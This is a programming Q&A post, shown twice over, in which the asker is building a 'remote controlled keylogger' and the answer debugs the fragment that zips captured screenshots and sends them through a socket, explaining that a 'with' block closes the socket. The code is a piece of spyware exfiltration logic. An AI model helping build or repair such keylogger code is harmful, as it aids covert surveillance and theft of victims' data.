python socket [WinError 10038] an operation was attempted on something that is not a socket
Question:
I’m writing a little remote controlled keylogger with sockets on the client side. Everytime send_pictures_data(self,s_socket)
is executed I get this error when jumping back to my main loop. The file transmission works good but I don’t know why the socket is corrupted after the function.
def send_pictures_data(self,s_socket):
global i
print("pictures")
shutil.make_archive('pic'+str(i), 'zip', './screenshots/')
#f = open('pic.zip','rb')
#l = f.read(1024)
#while (l):
#s_socket.send(l)
#print('Sent ',repr(l))
#l = f.read(1024)
#f.close()
#s_socket.close()
file_name = 'pic'+str(i)+'.zip'
with s_socket,open(file_name,'rb') as f:
Answers:
You have with s_socket
in send_pictures_data
. What with does is automatically close all of its elements when the code block exits. Thus, when the with
block ends, the socket will have been closed. Solution: remove s_socket
from the with
statement.
I’m writing a little remote controlled keylogger with sockets on the client side. Everytime send_pictures_data(self,s_socket)
is executed I get this error when jumping back to my main loop. The file transmission works good but I don’t know why the socket is corrupted after the function.
def send_pictures_data(self,s_socket):
global i
print("pictures")
shutil.make_archive('pic'+str(i), 'zip', './screenshots/')
#f = open('pic.zip','rb')
#l = f.read(1024)
#while (l):
#s_socket.send(l)
#print('Sent ',repr(l))
#l = f.read(1024)
#f.close()
#s_socket.close()
file_name = 'pic'+str(i)+'.zip'
with s_socket,open(file_name,'rb') as f:
You have with s_socket
in send_pictures_data
. What with does is automatically close all of its elements when the code block exits. Thus, when the with
block ends, the socket will have been closed. Solution: remove s_socket
from the with
statement.